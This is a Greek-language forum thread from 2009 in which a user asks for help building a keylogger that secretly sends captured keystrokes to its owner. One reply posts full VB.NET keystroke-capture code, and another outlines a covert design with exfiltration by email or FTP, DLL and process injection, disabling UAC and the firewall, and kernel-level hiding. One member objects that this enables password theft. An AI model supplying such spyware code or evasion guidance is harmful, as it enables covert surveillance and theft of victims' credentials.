Τι να κάνω ? Key Logger

[wizardini]

Γεια σε όλους τώρα πρόσφατα έκανα εγγραφή στο φόρουμ και μου φένεται κατάληλο για τισ προθέσεις μου !

 

Τέλος πάντων, ας μπούμε στο ψητό !

Εδώ και καιρό προσπαθώ να φτιάξω ένα Key-Logger (καταγράφη οτι πλήκτρο πατάς και το στέλνει στον ιδιοκτίτη του προγρμάτος-ιου-spy)

Αλλά δεν μπορώ να βρω τις κατάλληλες πληροφορίες !

 

Εάν κάποιος μπορεί να με βοηθήσει θα το εκτιμούσα πολύ !

[isay]

Γεια σε όλους τώρα πρόσφατα έκανα εγγραφή στο φόρουμ και μου φένεται κατάληλο για τισ προθέσεις μου !

 

Τέλος πάντων, ας μπούμε στο ψητό !

Εδώ και καιρό προσπαθώ να φτιάξω ένα Key-Logger (καταγράφη οτι πλήκτρο πατάς και το στέλνει στον ιδιοκτίτη του προγρμάτος-ιου-spy)

Αλλά δεν μπορώ να βρω τις κατάλληλες πληροφορίες !

 

Εάν κάποιος μπορεί να με βοηθήσει θα το εκτιμούσα πολύ !

 

Σε τι γλώσσα; Έχεις σκεφτεί το πρόγραμμα-project ή θέλεις να γίνεις χαλίφης στη θέση του Χαλίφη; Ποιές γλώσσες ξέρεις;

Από την άλλη, θεωρείς ότι οι δικές σου προθέσεις συνάπτουν με τις προθέσεις των ανθρώπων που είναι εδώ;

 

 

λίγη προσοχή -> (φένεται, κατάληλο, ιδιοκτίτη)

[Xdanger]

δες αυτό http://www.pinvoke.net/default.aspx/user32/GetKeyboardState.html

[ntaryl]

καλησπερα

Αν μας πεις σε τι γλωσσα θελεις να το φτιαξεις .θα σου πουμε μερικα πραγματακια.

αοι εκει και περα

πρπει να προσπαθησεις λιγακι και εσυ

Τι ακριβως θελει να κανει ?

για που προοριζεται ? (οχι οτι περιμενω να μου πεις αληθεια) χιχιχιχ

το κυριοτερο ειναι οτι τετοια προγραματα ειναι παρανομα αναλογα την χρηση τους διωκονται απο τον νομο .

Θεμα δικο σου φυσικα

αν θες να πειραματιστεις απλα πες μας

πληροφοριες

 

Υ.γ Υπαρχουν και στο εμποριο αλλα και αρκετα free τα οποια μπορεις να δοκιμασεις

Επεξ/σία 7 Δεκεμβρίου 2009 από ntaryl

[Red_Phantom]

Κοίτα για hooks (Keyboard hook)

 

http://www.codeproject.com/KB/DLL/keyboardhook.aspx

[RubiksCube]

κατάληλο για τισ προθέσεις μου !

 

Εδώ και καιρό προσπαθώ να φτιάξω ένα Key-Logger

 

Εδώ και καιρό προσπαθώ να ληστέψω μια τράπεζα, ξέρει κανείς να με βοηθήσει??

 

 

Καλά είμαστε σοβαροί??? Πριν ποστάρεις κάτι τέτοιο το σκέφτηκες?

Δεν αναφέρομαι μόνο σε αυτόν που το άρχισε αλλά και σε αυτούς που δίνουν πληροφορίες.

 

Τι να πώ...........

[ntaryl]

Εδώ και καιρό προσπαθώ να ληστέψω μια τράπεζα, ξέρει κανείς να με βοηθήσει??

 

 

Καλά είμαστε σοβαροί??? Πριν ποστάρεις κάτι τέτοιο το σκέφτηκες?

Δεν αναφέρομαι μόνο σε αυτόν που το άρχισε αλλά και σε αυτούς που δίνουν πληροφορίες.

Τι να πώ...........

 

καλησπερα φιλε

Ειναι Forum και ο καθενας μπορει να ζητησει κατι .Ειναι στην κριση του αλλου να απαντησει .και το τι θα του δωσει..Στο κατω κατω πληροφοριες θελει.

Απο εκει και περα ειναι υπευθυνος για το τι θα κανει με αυτο και το πως θα το χρησιμοποιησει ....

Αν εχεις δοκιμασει τα περισοτερα εχουν ενα disclaimer το οποιο πρεπει να το δεχτεις για να χρησιμοποιησεις το προγραμμα .

αν ψαξεις θα βρεις πολλα τετοια να πωλουνται

για παραδειγμα.http://www.spectorsoft.com/products/SpectorPro_Windows/entry.asp?refer=12078

 

Με ενα μικρο ψαξιμο ειδα οτι υπαρχουν πολλα προς πωληση .

[RubiksCube]

Όταν δίνεις πληροφορίες, δεν ξέρεις πώς θα τις χρησιμοποιήσει ο άλλος. Το οτι πωλούνται πολλά δεν μου λέει τίποτα, γενικά στο διαδίκτυο μπορείς να βρεις ληροφορίες για τα πάντα, νόμιμα και μη, και προϊόντα.

 

Εν τέλει εγώ αναφέρθηκα στην κοινή λογική, η οποία μπορει να διαφέρει έτσι όπως εγώ την αντιλαμβάνομαι, απο αυτή των υπολοίπων.

 

Αλλά σκεπτόμενος ότι κάποιος θέλει να κλέψει τον κωδικό κάποιου (και να βάζει και smileys όταν το δηλώνει) για οποιοδήποτε λόγο με εξοργίζει και να έχει και το θράσσος να ζητάει πληροφορίες.

[NetworkMeltdown]

Έχω φτιάξει έναν για εμένα σε VB.NET, Να ο κώδικας:

Μόνο που το Right-Click το αναγνωρίζει σαν "/" Περίεργο

Τα Enter, Backspace, Space σαν "[ΕΝ]", "[ΒS]", " "

Όλα τα νούμερα τα σύμβολα και τα γράμματα.

Δεν πιστεύω να θές τίποτα άλλο.

>Public Class Form1
   Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
   Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
   Public Function getCapslock() As Boolean
       On Error Resume Next
       getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)
   End Function
   Public Function getShift() As Boolean
       On Error Resume Next
       getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))
   End Function
   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       On Error Resume Next
       Dim i As Object
       Dim Pressed As Object
       Dim LineLimit As Int32 = 69
       Dim Key As Object
       On Error Resume Next
       Pressed = GetAsyncKeyState(13)
       If Pressed = -32767 Then
           Key = "[EN]"
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(8)
       If Pressed = -32767 Then
           Key = "[bS]"
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(32)
       If Pressed = -32767 Then
           Key = " "
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(186)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = ";"
           Else
               Key = ":"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(187)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "="
           Else
               Key = "+"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(188)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = ","
           Else
               Key = "<"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(189)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "-"
           Else
               Key = "_"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(190)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "."
           Else
               Key = ">"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(191)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "/"
           Else
               Key = "?"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(192)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "`"
           Else
               Key = "~"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(96)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "0"
           Else
               Key = ")"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(97)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "1"
           Else
               Key = "!"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(98)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "2"
           Else
               Key = "@"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(99)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "3"
           Else
               Key = "#"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(100)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "4"
           Else
               Key = "$"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(101)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "5"
           Else
               Key = "%"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(102)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "6"
           Else
               Key = "7"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(103)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "7"
           Else
               Key = "&"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(104)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "8"
           Else
               Key = "*"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(105)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "9"
           Else
               Key = "("
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(106)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "*"
           Else
               Key = ""
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(107)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "+"
           Else
               Key = "="
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(108)
       If Pressed = -32767 Then
           Key = ""
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(109)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "-"
           Else
               Key = "_"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(110)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "."
           Else
               Key = ">"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(111)
       If Pressed = -32767 Then
           Key = "/"
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(2)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "/"
           Else
               Key = "?"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(220)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "\"
           Else
               Key = "|"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(222)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "'"
           Else
               Key = Chr(34)
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(221)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "]"
           Else
               Key = "}"
           End If
           GoTo KeyFound
       End If
       Pressed = GetAsyncKeyState(219)
       If Pressed = -32767 Then
           If getShift() = False Then
               Key = "["
           Else
               Key = "{"
           End If
           GoTo KeyFound
       End If
       For i = 65 To 128
           Pressed = GetAsyncKeyState(i)
           If Pressed = -32767 Then
               If getShift() = False Then
                   If getCapslock() = True Then
                       Key = UCase(Chr(i))
                   Else
                       Key = LCase(Chr(i))
                   End If
               Else
                   If getCapslock() = False Then
                       Key = UCase(Chr(i))
                   Else
                       Key = LCase(Chr(i))
                   End If
               End If
               GoTo KeyFound
           End If
       Next i
       For i = 48 To 57
           Pressed = GetAsyncKeyState(i)
           If Pressed = -32767 Then
               If getShift() = True Then
                   Select Case Val(Chr(i))
                       Case 1
                           Key = "!"
                       Case 2
                           Key = "@"
                       Case 3
                           Key = "#"
                       Case 4
                           Key = "$"
                       Case 5
                           Key = "%"
                       Case 6
                           Key = "^"
                       Case 7
                           Key = "&"
                       Case 8
                           Key = "*"
                       Case 9
                           Key = "("
                       Case 0
                           Key = ")"
                   End Select
               Else
                   Key = Chr(i)
               End If
               GoTo KeyFound
           End If
       Next i
       Exit Sub
KeyFound:
       If Key <> "" Then
           Textbox1.AppendText(Key)
       End If
   End Sub
End Class

Αν ξέρεις θα καταλάβεις, δεν μπορώ να σε βοηθήσω περαιτέρω.

Πάντος θα μπορούσες να αγοράσεις έναν Hardware Keylogger

και να κάνεις την δουλειά σου, οι Software Keyloggers είναι λίγο

Gay όπως και:

 

(καταγράφη οτι πλήκτρο πατάς και το στέλνει στον ιδιοκτίτη του προγρμάτος-ιου-spy)

 

Καλά είμαστε σοβαροί??? Πριν ποστάρεις κάτι τέτοιο το σκέφτηκες?

 

Καταπληκτικός:

Στο κατω κατω πληροφοριες θελει.

Απο εκει και περα ειναι υπευθυνος για το τι θα κανει με αυτο και το πως θα το χρησιμοποιησει ....

[ntaryl]

Καλησπερα

Φιλε μου μην περιμενεις να σου δωσω ετοιμο φαγητο .Ατυχησες

Αλλα απ οτι ειδα μαθαινεις γρηγορα!!!..http://www.insomnia.gr/forum/showthread.php?t=338401

Το να δημιουργησεις ενα προγραμματακι σαν αυτο δεν ειναι δυσκολο

απλα πρεπει να αποφασισεις σε ποια Γλωσσα και το τι θες να κανεις .

Θα σου πω καποια πραγματα για αυτα

Σημειωσεις

 

Τροπος κατασκευης

1)Χρησιμοποιωντας την (Function GetAsyncKeyState)

2)Keyboard hooking (SetWindowsHookEx -UnhookWindowsHookEx)

Τροπος επικοινωνιας

1)Ηλεκτρονικο Ταχυδρομειο(email)

2)FTP

3)Reverse Dns

Τροπος εκκινησης

1)Activex

2)Service

Διαπεραση ασφαλειας

1)Dll injection(Fwb)

2)Process injection (fwb++)

3)Uac ,Windows firewall Disabler

Κρυψιμο

1)Ring3 User Mode

2)Ring0 Kernel Mode

 

απο εκει και μετα ειναι εσυ τι 8ες να προσθεσεις .αναλογα το τι 8ες να κανει και το ποσο ορεξη εχεις να ασχοληθεις με την δημιουργια του .

 

Υ.γ Ποιος ειπε οτι οι Software Keylogers Ειναι Gay ?xixixx

 

---------- Το μήνυμα προστέθηκε στις 21:33 ----------

 

Παραξενευτηκα το οτι ενω την μια μερα Ζητας να δημιουργησεις .την επομενη ποσταρεις κωδικα λεγοντας

(Έφτιαξα ένα code ειδικά για εσάς)

Ψαχνοντας λιγακι επεσα εδω

http://www.getacd.org/listen_UJvC5tEo7Og/make_and_email_sending_keylogger_in_vb_2008

αν δεν με γελανε τα ματακια μου

ειναι ιδιος

Αρα μαλλον τον εκανες copy paste

Κριμα

 

1)Να Σεβεσαι τον κοπο των αλλων που εχουν φτιαξει .

Απλα δωσε Credits στον δημιουργο

[NetworkMeltdown]

Τροπος επικοινωνιας

4) MySQL μήπως ?

 

Υ.γ Ποιος ειπε οτι οι Software Keylogers Ειναι Gay ?

Me, γιατί γίνονται πανεύκολα αντιληπτά απο τα AVs λόγο του τρόπου

λειτουργίας τους.

[ntaryl]

Πανευκολα αντιληπτα ?

Φιλε μου ειναι αναλογα το μερακι που εχει ο δημιουργος και το τι θελέι να φτιαξει ..

Αν θελει να φτιαξει κατι και να πειραματιστει τοτε σαφως θα ειναι απλοιικο

Εγω νομιζω οτι ειναι πιο ευκολο να αντιληπτεις ενα hardware keyloger(usb) παρα ενα software μερικων κβ το οποιο βρισκεται καλα κρυμενο μεσα στο win .

Παρε μια γευση

http://www.spytector.com/index.html

Επεξ/σία 9 Δεκεμβρίου 2009 από ntaryl

[datanet]

Ειδα οτι ενας φιλος εβαλε ενα λινκ που δειχνει ενα video..

http://www.getacd.org/listen_UJvC5tE...ger_in_vb_2008

 

Η ερωτηση ειναι λιγο ασχετη με το keylogger.

Πως κανουμε τετοια βιντεο, δηλ την οθονη του pc μας? μου αρεσει οταν ζουμαρει κιολας σε διαφορα σημεια για να τονισει το ενδιαφερον.

 

ξερει κανεις?

[parsifal]

Η ερώτηση είναι εντελώς άσχετη με keylogger, αλλά ρίξε μια γρήγορη ματιά σε αυτό:

 

Με ποιο πρόγραμμα: Παίρνω screenshots/γράφω video όσων εμφανίζονται στο desktop;

[ntaryl]

Πολυ σωστα φιλε parsifal

καλο απογευμα